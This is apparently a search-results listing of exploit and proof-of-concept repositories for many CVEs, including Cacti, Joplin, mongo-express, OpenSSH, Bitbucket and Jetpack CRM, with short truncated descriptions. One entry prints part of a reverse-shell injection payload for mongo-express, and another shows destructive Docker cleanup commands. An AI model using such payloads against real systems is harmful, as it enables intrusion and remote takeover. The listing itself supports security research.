271540 matches found
cacti-rce-snmp-options-vulnerable-application
Cacti v1.2.24 authenticated command injection CVE-2023-39362 vulnerable application This is a vulnerable application to test the exploit for the Cacti vulnerability CVE-2023-39362. WARNING! This application contains serious security vulnerabilities. Run it at your own risk! It is recommended usin...
cacti-rce-snmp-options-vulnerable-application
Cacti v1.2.24 认证命令注入（CVE-2023-39362）漏洞应用程序 这是一个用于测试 Cacti 漏洞（CVE-2023-39362 ）攻击程序的漏洞应用程序。 警告！ 此应用程序包含严重的安全漏洞。运行风险自负！建议使用经过备份且隔离的环境（例如具有近期快照和仅主机网络（host-only networking）的虚拟机）。请勿将此应用程序上传到任何面向互联网的服务器，否则它们将被入侵。 免责声明 : 我对任何人使用此应用程序的方式不承担任何责任。此应用程序的唯一用途是作为 CVE-2023-39362...
Joplin-CVE-2022-35131
Joplin CVE-2022-35131 XSS leading to RCE in Joplin affecting version 2.8.8 and earlier. Tested and works on Windows and Linux. Reported and fixed: 2022-06 Technical overview 1. Create a note with javascript payload as title POC:s bellow 2. Press Ctrl+P and search for something in the note or titl...
CVE-2020-8163
CVE-2020-8163 CVE-2020-8163 - Remote code execution of user-provided local names in Rails Remote code execution of user-provided local names in Rails 5.0.1 There was a vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the locals argument of a render cal...
CVE-2019-10758
CVE-2019-10758 mongo-express远程代码执行，反弹shell代码如下： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat /tmp/f |...
poc-cribl-rce
Disclaimer This is for informational/educational purposes only. This was put together to demonstrate an insecurity in the tool, in order for a fix to be verified by the vendor. Info Tested on Cribl v1.5.0 - Previous versions not tested but likely vulnerable. A valid JWT token can be transfered fr...
CVE-2019-0604_sharepoint_CVE
CVE-2019-0604 CVE-2019-0604 From https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...
cve-2024-6387-poc
cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...
mybb-CVE-2022-24734
mybb-CVE-2022-24734 MyBB 1.8.29 - 远程代码执行 root@kitploit: git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...
mi-laboratorio-log4shell
🚀 Automated Log4Shell CVE-2021-44228 Play & Plug Lab An automated, single-command security research laboratory designed to demonstrate and audit the Log4Shell CVE-2021-44228 Remote Code Execution RCE vulnerability. This project consolidates all necessary components vulnerable application, malicio...
CVE-2026-2586
Authenticated GlassFish EL Injection RCE CVE-2026-2586 An Expression Language Injection vulnerability in the GlassFish Administration Console allows an authenticated user to inject malicious EL expressions into parameters processed by the administrative web interface. Successful exploitation may...
Codify-TJNULL-OSCP-
Hack The Box — Codify Writeup Full penetration testing walkthrough and writeup for Codify machine on Hack The Box. 📌 Machine Info Field| Value ---|--- Name| Codify OS| Linux Difficulty| Easy Key Concepts| vm2 RCE CVE-2023-30547, SQLite DB Enum, Bcrypt Cracking, Bash Wildcard Pattern Matching Abus...
React2Shell_Exploit
React2ShellExploit CVE-2025-55182 I created simple react2shell CVE-2025-55182 python exploit USAGE 1. Save the script: Save the code above as exploit.py. 2. Update Hosts: Ensure reactor.htb resolves to the target IP in your /etc/hosts file. echo " reactor.htb" | sudo tee -a /etc/hosts 3. Start...
CVE-2026-39023
CVE-2026-39023 RCE poc - RESPONSIVE filemanager v.9.14.0 最后一个版本 - 未修补 Github 项目：https://github.com/trippo/ResponsiveFilemanager 要求：无需任何条件，此漏洞利用无需认证。 Responsive Filemanager 应用是一个基于 Web 的文件管理工具，用于管理服务器上的文件。此漏洞（CVE-2026-39023）允许攻击者利用重复文件创建 PHP 文件，从而导致在目标系统上远程执行代码。...
CVE-2026-22356
CVE-2026-22356: Jetpack CRM Path Traversal Vulnerability and RCE Warning: This tool should only be used in authorized test environments. The user is solely responsible for illegal use. 📥 Requirements root@kitploit: pip3 install requests urllib3 $ python3 exploit.py https://example.com --rce --cmd...
cve-2022-36804
CVE-2022-36804 Bitbucket PoC 本仓库包含一个针对 Atlassian Bitbucket Server/Data Center 漏洞 CVE-2022-36804 的 Python 漏洞利用脚本。该问题出现在 Git archive 流程中的命令注入缺陷，精心构造的 prefix 参数可被服务器解析并作为 shell 命令执行。 什么是 CVE-2022-36804？ CVE-2022-36804 是 Bitbucket Server/Data Center 的远程命令执行漏洞。它由 archive 端点对 prefix...
UniBLEed
UniBLEed Unitree G1 RCE PoC & Scripts CVE-2026-76639 / CVE-2026-76640 technical details at boschko.ca/g1-ble-rce/ Use this repository only with robots, accounts, and networks you are authorized to test. The active chains can change the robot's WiFi configuration, stop or restart services, crash...
Explotacion-RCE-Pentesting-BlueKeep-CVE-2019-0708-
Explotación de Vulnerabilidad BlueKeep CVE-2019-0708 en Entorno Controlado Proyecto académico enfocado en el análisis, ejecución y resolución de problemas durante la explotación de la vulnerabilidad BlueKeep CVE-2019-0708 en el servicio RDP de Windows Server 2008 R2, desarrollado para la asignatu...
mgo3-rce
MGO3 RCE Este repositorio contiene información sobre CVE-2026-19874. documentación demo en vídeo Cronología 2026-06-26: se descubre la vulnerabilidad 2026-06-26: primer contacto con Konami 2026-07-01: se notifica la vulnerabilidad a Konami 2026-08-04: Konami parchea la vulnerabilidad...